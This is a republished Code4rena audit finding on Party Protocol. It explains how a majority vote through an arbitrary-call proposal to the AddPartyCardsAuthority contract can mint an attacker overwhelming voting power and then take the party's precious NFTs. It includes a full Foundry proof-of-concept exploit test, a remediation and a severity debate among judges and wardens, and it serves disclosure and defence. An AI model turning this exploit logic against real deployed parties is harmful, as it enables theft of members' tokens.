Skip to content
Access control Audit finding Advanced

The 51% majority can hijack the party’s precious tokens through an arbitrary call proposal if the AddPartyCardsAuthority contract is added as an authority in the party.

sin1st3r__ Follow

Originally disclosed on Code4rena

Submitted by sin1st3r__

Pre-requisite knowledge & an overview of the features in question

  1. The AddPartyCardsAuthority contract: The AddPartyCardsAuthority contract is a contract designed to be integrated into a Party and it has only one purpose - to mint new party governance NFT tokens for party members.

    • The party has to add this contract as an authority before it can start minting new party governance NFT tokens for users.
    • The AddPartyCardsAuthority contract is deployed on the mainnet on address 0xC534bb3640A66fAF5EAE8699FeCE511e1c331cAD
  2. The 51% Majority attack: The PartyDAO team has put a lot of safeguards on a type of proposal called ArbitraryCallsProposal to prevent the 51% majority of the party to steal the precious NFT tokens of the party through this type of proposal. For a precious NFT token to be transferred out of the party to any other entity through this proposal, the proposal needs to be unanimously voted (100% of party members have voted on that proposal).

Overview of the vulnerability

There is no check on the ArbitraryCallsProposal contract that prevents the calling of the AddPartyCardsAuthority contract. This allows the 51% majority, through an arbitrary call proposal, to hijack ALL of precious tokens of the party.

They can achieve this by going through the following steps:

  1. Create an ArbitraryCallsProposal to simply mint a governance NFT token for an arbitrary user with an astronomical voting power, which gives the arbitrary user an ability to pass and bypass the execution delay of any proposal.
  2. The newly-created arbitrary user will create an ArbitraryCallsProposal with multiple arbitrary calls with a goal of transferring all of the party precious tokens to themselves.
  3. The newly-created arbitrary user will then vote on the ArbitraryCallsProposal proposal they just created.
  4. The proposal will pass and be marked as a unanimously voted proposal, allowing them to bypass all of the safeguards in place to prevent the hijacking of precious NFT tokens through a non-unanimously voted proposal.

Proof of concept

  1. Add the following code to a file with a name of your liking with an extension of “.t.sol”.
  2. Add the created file to the test/ folder
  3. Run the following command: forge test --match-contract TestHijackPreciousTokens --match-test testHijackPreciousExploit -vv
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8;

import { Vm } from "forge-std/Test.sol";
import { TestUtils } from "./TestUtils.sol";
import { IERC721 } from "../contracts/tokens/IERC721.sol";
import { GlobalsAdmin } from "./TestUsers.sol";
import { PartyFactory } from "../contracts/party/PartyFactory.sol";
import { Globals } from "../contracts/globals/Globals.sol";
import { Party } from "../contracts/party/Party.sol";
import { ProposalExecutionEngine } from "../contracts/proposals/ProposalExecutionEngine.sol";
import { IFractionalV1VaultFactory } from "../contracts/proposals/vendor/FractionalV1.sol";
import { MockZoraReserveAuctionCoreEth } from "./proposals/MockZoraReserveAuctionCoreEth.sol";
import { IReserveAuctionCoreEth } from "../contracts/vendor/markets/IReserveAuctionCoreEth.sol";
import { PartyGovernance } from "../contracts/party/PartyGovernance.sol";
import { ERC721Receiver } from "../contracts/tokens/ERC721Receiver.sol";
import { MetadataRegistry } from "../contracts/renderers/MetadataRegistry.sol";
import { TokenDistributor } from "../contracts/distribution/TokenDistributor.sol";
import { OffChainSignatureValidator } from "../contracts/signature-validators/OffChainSignatureValidator.sol";
import {ArbitraryCallsProposal} from "../contracts/proposals/ArbitraryCallsProposal.sol";
import {IProposalExecutionEngine} from "../contracts/proposals/IProposalExecutionEngine.sol";
import {AddPartyCardsAuthority} from "../contracts/authorities/AddPartyCardsAuthority.sol";
import {DummyERC721} from "./DummyERC721.sol";
import "../contracts/utils/LibRawResult.sol";
import "forge-std/console.sol";

/// @notice This contract provides a fully functioning party instance for testing.
///     Run setup from inheriting contract.
abstract contract SetupPartyHelper is TestUtils, ERC721Receiver {

    bool private immutable _isForked;
    GlobalsAdmin internal globalsAdmin;
    Party internal party;
    Party internal partyImpl;
    Globals internal globals;
    PartyFactory internal partyFactory;
    TokenDistributor internal tokenDistributor;
    ProposalExecutionEngine pe;
    AddPartyCardsAuthority addPartyCards;
    uint256 partyTotalVotingPower;

    struct PartyMembersVotingPowers {
        uint96 User_John_Votes;
        uint96 User_Danny_Votes;
        uint96 User_Steve_Votes;
        uint96 User_Adam_Votes;
        uint96 User_Jack_Votes;
        uint96 User_Josh_Votes;
    }

    /** -------------------------- Party Authority -------------------------- */

    // Test authority member with dummy randomly generated address
    address internal authorityTestUser = vm.addr(1);

    /** -------------------------- Party Members -------------------------- */

    // Test members with dummy randomly generated addresses
    address internal user_john = vm.addr(2);
    address internal user_danny = vm.addr(3);
    address internal user_steve = vm.addr(4);

    // Voting power of each party member
    uint96 internal johnVotes;
    uint96 internal dannyVotes;
    uint96 internal steveVotes;

    /** -------------------------- Party Hosts -------------------------- */

    // Test hosts with dummy randomly generated addresses
    address internal host_adam = vm.addr(5);
    address internal host_jack = vm.addr(6);
    address internal host_josh = vm.addr(7);

    // Voting power of each party host
    uint96 internal adamVotes;
    uint96 internal jackVotes;
    uint96 internal joshVotes;

    /** -------------------------- Party precious tokens -------------------------- */

    DummyERC721 internal erc721PreciousToken = new DummyERC721();

    IERC721[] internal preciousTokens = new IERC721[](2);
    uint256[] internal preciousTokenIds = new uint256[](2);

    constructor(bool isForked) {
        _isForked = isForked;
    }

    function CreateNewParty(
        PartyMembersVotingPowers memory votingPowers,
        string memory partyName,
        string memory partySymbol,
        uint40 voteDuration,
        uint40 executionDelay,
        uint16 passThresholdBps,
        bool allowArbCallsToSpendPartyEth,
        bool distributionsRequireVote
    ) public {
        Party.PartyOptions memory opts;

        adamVotes = votingPowers.User_Adam_Votes;
        jackVotes = votingPowers.User_Jack_Votes;
        joshVotes = votingPowers.User_Josh_Votes;

        johnVotes = votingPowers.User_John_Votes;
        dannyVotes = votingPowers.User_Danny_Votes;
        steveVotes = votingPowers.User_Steve_Votes;

        address[] memory hosts = new address[](0);

        opts.name = partyName;
        opts.symbol = partySymbol;
        opts.governance.hosts = hosts;
        opts.governance.voteDuration = voteDuration;
        opts.governance.executionDelay = executionDelay;
        opts.governance.passThresholdBps = passThresholdBps;
        opts.proposalEngine.allowArbCallsToSpendPartyEth = allowArbCallsToSpendPartyEth;
        opts.proposalEngine.distributionsRequireVote = distributionsRequireVote;
        opts.governance.totalVotingPower = johnVotes + dannyVotes + steveVotes + adamVotes + joshVotes + jackVotes;
        partyTotalVotingPower = opts.governance.totalVotingPower;

        initialize(opts);
    }

    function initialize(Party.PartyOptions memory opts) internal virtual {
        globalsAdmin = new GlobalsAdmin();
        globals = globalsAdmin.globals();
        partyImpl = new Party(globals);
        address globalDaoWalletAddress = address(420);
        globalsAdmin.setGlobalDaoWallet(globalDaoWalletAddress);

        pe = new ProposalExecutionEngine(
            globals,
            _isForked
                ? IReserveAuctionCoreEth(0x5f7072E1fA7c01dfAc7Cf54289621AFAaD2184d0)
                : new MockZoraReserveAuctionCoreEth(),
            _isForked
                ? IFractionalV1VaultFactory(0x85Aa7f78BdB2DE8F3e0c0010d99AD5853fFcfC63)
                : IFractionalV1VaultFactory(address(0))
        );

        globalsAdmin.setProposalEng(address(pe));

        partyFactory = new PartyFactory(globals);
        globalsAdmin.setGlobalPartyFactory(address(partyFactory));

        tokenDistributor = new TokenDistributor(globals, 0);
        globalsAdmin.setTokenDistributor(address(tokenDistributor));

        address[] memory registrars = new address[](2);
        registrars[0] = address(this);
        registrars[1] = address(partyFactory);
        MetadataRegistry metadataRegistry = new MetadataRegistry(globals, registrars);
        globalsAdmin.setMetadataRegistry(address(metadataRegistry));

        OffChainSignatureValidator offChainGlobalValidator = new OffChainSignatureValidator();
        globalsAdmin.setOffChainSignatureValidator(address(offChainGlobalValidator));

        addPartyCards = new AddPartyCardsAuthority();

        address[] memory authorities = new address[](1);
        authorities[0] = authorityTestUser;

        // Mint two precious tokens
        uint256 firstPreciousTokenId = erc721PreciousToken.mint(address(this)); // NFT ID 1
        uint256 secondPreciousTokenId = erc721PreciousToken.mint(address(this)); // NFT ID 2

        preciousTokens[0] = IERC721(address(erc721PreciousToken));
        preciousTokens[1] = IERC721(address(erc721PreciousToken));
        preciousTokenIds[0] = firstPreciousTokenId;
        preciousTokenIds[1] = secondPreciousTokenId;

        party = partyFactory.createParty(
            partyImpl,
            authorities,
            opts,
            preciousTokens,
            preciousTokenIds,
            0
        );

        // Approve the created party to spend the two precious tokens.
        erc721PreciousToken.transferFrom(address(this), address(party), firstPreciousTokenId);
        erc721PreciousToken.transferFrom(address(this), address(party), secondPreciousTokenId);

        vm.startPrank(authorityTestUser);

        // Give party members voting powers
        party.mint(user_john, johnVotes, user_john);
        party.mint(user_danny, dannyVotes, user_danny);
        party.mint(user_steve, steveVotes, user_steve);

        // Give party members voting powers
        party.mint(host_adam, adamVotes, host_adam);
        party.mint(host_jack, jackVotes, host_jack);
        party.mint(host_josh, joshVotes, host_josh);

        vm.stopPrank();

        vm.warp(block.timestamp + 1);
    }

}

contract TestHijackPreciousTokens is SetupPartyHelper {

    constructor() SetupPartyHelper(false) {}

    /** ------ Create a new party ------ */
    function setUp() public {

        PartyMembersVotingPowers memory votingPowers = PartyMembersVotingPowers({
            User_John_Votes: 50 ether,
            User_Danny_Votes: 50 ether,
            User_Steve_Votes: 50 ether,
            User_Adam_Votes: 50 ether,
            User_Jack_Votes: 50 ether,
            User_Josh_Votes: 50 ether
        });

        super.CreateNewParty(
            votingPowers,
            "TestParty",
            "PRT",
            100,
            0, // setting the execution delay as zero for the poc
            5000, // 50% of members have to accept the proposal for it go through
            true,
            true
        );

        // Add `AddPartyCardsAuthority` contract as an authority
        vm.prank(address(party));
        party.addAuthority(address(addPartyCards));

    }

    function testHijackPreciousExploit() public {

        /** ----------------------- [STAGE 1] ----------------------- */
        /**
        * [Stage 1] of the exploit objectives:
        *  -  Through an arbitrary call (unanimous proposal),
        *      mint an arbitrary address `attacker` an astronomical voting power.
        */

        address attacker = vm.addr(48748743784378);

        ArbitraryCallsProposal.ArbitraryCall[] memory calls = new ArbitraryCallsProposal.ArbitraryCall[](1);

        address[] memory newPartyMembers = new address[](1);
        uint96[] memory newPartyMemberVotingPowers = new uint96[](1);
        address[] memory initialDelegates = new address[](1);

        newPartyMembers[0] = attacker;
        newPartyMemberVotingPowers[0] = 7922816251426433759354395;
        initialDelegates[0] = address(0);

        /** ------------ Non-unanimous `ArbitraryCall` proposal ------------ */

        calls[0] = createArbitraryCall(
            address(addPartyCards),
            abi.encodeWithSelector(AddPartyCardsAuthority.addPartyCards.selector, newPartyMembers, newPartyMemberVotingPowers, initialDelegates)
        );

        PartyGovernance.Proposal memory test_proposal = createArbitraryCallProposal(calls);

        vm.prank(user_john);
        uint256 proposalId = party.propose(test_proposal, 0);

        vm.prank(user_danny);
        party.accept(proposalId, 0);

        vm.prank(user_steve);
        party.accept(proposalId, 0);

        vm.prank(user_john);
        party.execute(
            proposalId,
            test_proposal,
            preciousTokens,
            preciousTokenIds,
            "",
            ""
        );

        vm.warp(block.timestamp + 5);

        /** ----------------------- [STAGE 2] ----------------------- */
        /**
        * [Stage 2] of the exploit objectives:
        *  -  Hijack the two precious tokens of the party
        *
        *  The attacker will simply create an `ArbitraryCall` proposal to transfer the two precious tokens to him
        *  Since the attacker was minted voting power equivalent to the total voting power,
        *      the proposal will be marked as unanimous, bypassing the execution delay and precious NFT safeguards.
        */

        calls = new ArbitraryCallsProposal.ArbitraryCall[](2);

        calls[0] = createArbitraryCall(
            address(preciousTokens[0]),
            abi.encodeWithSelector(IERC721.transferFrom.selector, address(party), address(attacker), preciousTokenIds[0])
        );

        calls[1] = createArbitraryCall(
            address(preciousTokens[1]),
            abi.encodeWithSelector(IERC721.transferFrom.selector, address(party), address(attacker), preciousTokenIds[1])
        );

        test_proposal = createArbitraryCallProposal(calls);

        // The proposal will pass, will be marked as unanimous and it'll be ready to execute.

        vm.startPrank(attacker);

        proposalId = party.propose(test_proposal, 1);

        party.execute(
            proposalId,
            test_proposal,
            preciousTokens,
            preciousTokenIds,
            "",
            ""
        );

        vm.stopPrank();

    }

    struct ArbitraryCall {
        address payable target;
        uint256 value;
        bytes data;
        bytes32 expectedResultHash;
    }

    function createArbitraryCallProposal(ArbitraryCallsProposal.ArbitraryCall[] memory calls) public pure returns(PartyGovernance.Proposal memory) {
        return PartyGovernance.Proposal({
            maxExecutableTime: uint40(999999999999),
            cancelDelay: 10000,
            proposalData: abi.encodeWithSelector(
                bytes4(uint32(ProposalExecutionEngine.ProposalType.ArbitraryCalls)),
                calls
            )
        });
    }

    function createArbitraryCall(
        address arbitraryCallTarget,
        bytes memory targetData
    )
        private
        pure
        returns (ArbitraryCallsProposal.ArbitraryCall memory)
    {
        return ArbitraryCallsProposal.ArbitraryCall({
                target: payable(address(arbitraryCallTarget)),
                value: 0,
                data: targetData,
                expectedResultHash: bytes32(0)
            });
    }

}

Remediation

In the function _isCallAllowed in ArbitraryCallsProposal, add a check to prevent an arbitrary call from calling the contract AddPartyCardsAuthority. Or add a check to prevent an arbitrary call with a function selector, equivalent to that of the addPartyCards function in the ArbitraryPartyCardsAuthority contract, to be executed.

Assessed type

Token-Transfer

KingNFT (lookout) commented:

A malicious AddPartyCardsAuthority proposal could be rejected by hosts during the ExecutionDelay phase - the likelihood of a success attack is not too high.

M might be more appropriate.

0xble (Party) acknowledged and commented:

Valid, although likely will not fix, as we’ve been debating removing the precious mechanism in a subsequent release. In additional to what @KingNFT pointed out, members can also use rage quit to exit if enabled.

arr00 (Party) commented:

An additional detail to add is that parties utilizing precious tokens would set their enableAddAuthority flag to false which would disable adding authorities. See here.

gzeon (judge) decreased severity to Medium and commented:

While governance attacks are typically out-of-scope, this attack specifically bypasses the precious mechanism, which I believe will make it reasonable to consider this as a valid medium.

0xStalin (warden) commented:

I would like to mention that I believe it’s unfair to treat this report as a medium when the PartyDAO team considers this vulnerability to be high/severe.In their bug bounty program table they specifically mention “bypass guardrails to transfer precious NFT from parties” to be a severe level vulnerability

Additionally, looking at one of the audit reports they received from a firm (https://github.com/PartyDAO/party-protocol/blob/main/audits/Party-Protocol-Macro-Audit.pdf), one of the high severity findings listed is similar to the bug in question, just a different way to bypass the precious NFT token guardrails (and it was acknowledged and fixed).

It’s worth mentioning that they consider it a high severity vulnerability only if the majority is able to hijack the precious NFT tokens through ArbitraryCallsProposal only and not any other type of proposal. This report clearly demonstrates the ability for an attacker to hijack the precious tokens through ArbitraryCallsProposal.

deth (warden) commented:

I would like to point out that a majority attack has been acknowledged in a previous c4 finding.

Issue #124 was judged as invalid because it was reported in a previous c4 finding as well.

0xStalin (warden) commented:

@deth - The previous C4 finding is about how an attacker can (under some circumstances/conditions) execute a flash loan attack to get 51% voting power and (potentially) create proposals and get them to pass if no host has vetoed on them.

The finding in question here, is discussing how the 51% majority is able to hijack precious NFT tokens through an arbitrary call proposal when the intended behavior is to be able to transfer the precious NFT tokens out of a party through an arbitrary call proposal ONLY IF the proposal was voted on by 100% of the party members and not just the majority. The PartyDAO team has put several safeguards to prevent the transfer of those precious tokens through an arbitrary call proposal if it has not been unanimously voted (unanimous vote == 100% of the party members voted on the proposal).

The finding in question bypasses all those mitigations. I made the case why this is a high severity vulnerability not a medium one, in my previous comment.

deth (warden) commented:

@0xStalin - I agree that this report is nuanced, but isn’t Stage 1 of the issue a majority attack?

The 51% majority can hijack precious tokens of a party through an arbitrary call proposal.

The finding in question is discussing how the 51% majority is able to hijack precious NFT

You also state it passes all mitigations and safeguards, but the executionDelay of the Party is set to 0 in the PoC. The executionDelay in itself is a safeguard.

Quote from the previous finding.

The expectation is parties will have reasonable governance settings and active governance to veto malicious proposals to manage the risk of a majority attack and if they don’t (e.g. set an execution delay of 0) it is a deliberate choice on their part rather than a vulnerability.

Will this attack still work, if executionDelay != 0, because it’s the hosts responsibility to veto these sorts of proposals and it’s their error if executionDelay is set to 0 in the first place?

0xStalin (warden) commented:

@deth - So there are multiple things I need to point out in regards to the context of the bug in question.

When I point out that it bypasses all mitigations and safeguards, I’m talking about the safeguards implemented in the ArbitraryCallsProposal specifically, the executionDelay is out of question and I’ll explain why in my next point. You can see the precious NFT safeguards implemented in ArbitraryCallsProposal lines 185-215 and lines 63-104.

This begs the question: okay why ArbitraryCallsProposal specifically is an issue? The majority can actually execute this attack by adding a new authority through AddAuthorityProposal and hijack those tokens or they can hijack those through other proposals.

The thing with ArbitraryCallsProposal, specifically, is that it can execute any arbitrary logic and does NOT have defined actions and defined risk (I’m quoting the sponsor here). A single party member/attacker can very easily trick the majority into accepting this proposal and hijack those tokens, so it doesn’t even have to be the 51% majority trying to steal them.

This was the sponsor’s response when asked why do they consider hijacking precious tokens through a unanimously voted ArbitraryCallProposal a vulnerability while the same can be achieved using other proposals:

“It is more dangerous because it can execute any arbitrary logic whereas other proposals have defined actions and defined risk.”

and that’s really why the executionDelay protection is not so relevant here.

gzeon (judge) commented:

This is not a duplicate of this previous c4 finding. executionDelay is not relevant here, as it is relevant in the other issue where it prevents the same block execution with a flashloan. That issue also does NOT bypass precious mechanism.

However, both contracts in question here ()AddPartyCardsAuthority and ArbitraryCallsProposal) are actually out-of-scope for this audit. So despite this, it seems to be a valid bypass with sponsor acknowledgment, this would be considered as out-of-scope and you should report it to PartyDAO bug bounty program instead.

0xStalin (warden) commented:

@gzeon - The ProposalExecutionEngine contract implements the ArbitraryCallsProposal contract so the ArbitraryCallsProposal contract is in-scope as well as all the other contracts which the ProposalExecutionEngine contract extends, isn’t it?

The ArbitraryCallsProposal is an abstract contract and is implemented by the ProposalExecutionEngine which would make it an in-scope asset, isn’t it?

Secondly, while the AddPartyCardsAuthority is OOS, the issue does NOT exist in this contract in the first place. The issue exists in ArbitraryCallsProposal contract. It’s just that when AddPartyCardsAuthority is added to a party to extend the functionality, this becomes an issue and precious tokens can easily be hijacked.

gzeon (judge) commented:

Reviewing again, thanks for the correction.

gzeon (judge) increased severity to High and commented:

Agree to pump this to High after considering PartyDAO bug bounty program and the fact that guardrail can be bypassed to steal tokens.


The original report as published on Code4rena, by sin1st3r__. Images and videos are our own copies; raw HTML is shown as text. View it on Code4rena.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

What is known

A high-severity access control bug in Party Protocol. Code4rena made it public on 10 January 2024. Found in the 2023-10-party audit contest (finding H-01).

About Access control

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

What is Access control?

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.

More by sin1st3r__

View all

11 more disclosed reports, best first.

More from Party Protocol

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Broken access control

The lesson behind this report.

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.